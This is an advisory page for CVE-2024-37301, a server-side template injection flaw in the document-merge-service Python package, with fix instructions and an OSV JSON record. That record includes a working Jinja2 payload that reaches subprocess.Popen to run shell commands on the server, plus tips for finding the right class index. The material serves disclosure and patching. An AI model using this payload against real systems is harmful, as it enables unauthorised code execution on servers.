CVE-2024-37301: Document merge service Remote Code Execution Vulnerability
HIGHCVE-2024-37301 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Document merge service libraries in the PyPI ecosystem. The issue involves document-merge-service vulnerable to remote code execution via server-side template injection. Remediation is available by upgrading affected packages to version 6.5.2.
CVE-2024-37301 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2024-37301
To remediate this vulnerability, upgrade all affected Document merge service dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install document-merge-service>=6.5.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show document-merge-service
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2024-37301, inspect your installed packages using pip:
pip show document-merge-service
Analyze the terminal output to locate any version of Document merge service in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.5.2), your application is affected.
Note: The pip show document-merge-service command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Document merge service, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-37301 Affected Document merge service Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
document-merge-service
|
PyPI |
< 6.5.2
|
6.5.2
|
References
Frequently Asked Questions
What is CVE-2024-37301?
Which Document merge service versions are affected?
What version fixes CVE-2024-37301?
Is document-merge-service affected?
What is the CVSS score of CVE-2024-37301?
What CWE is associated with CVE-2024-37301?
How can I check PyPI dependencies for CVE-2024-37301?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v5gf-r78h-55q6",
"modified" : "2026-02-04T19:39:54Z",
"published" : "2024-06-11T20:22:55Z",
"aliases" : [ "CVE-2024-37301" ],
"summary" : "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection",
"details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "document-merge-service"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.5.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
}, {
"type" : "WEB",
"url" : "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/adfinis/document-merge-service"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-06-11T20:22:55Z",
"nvd_published_at" : "2024-06-11T19:16:07Z"
}
}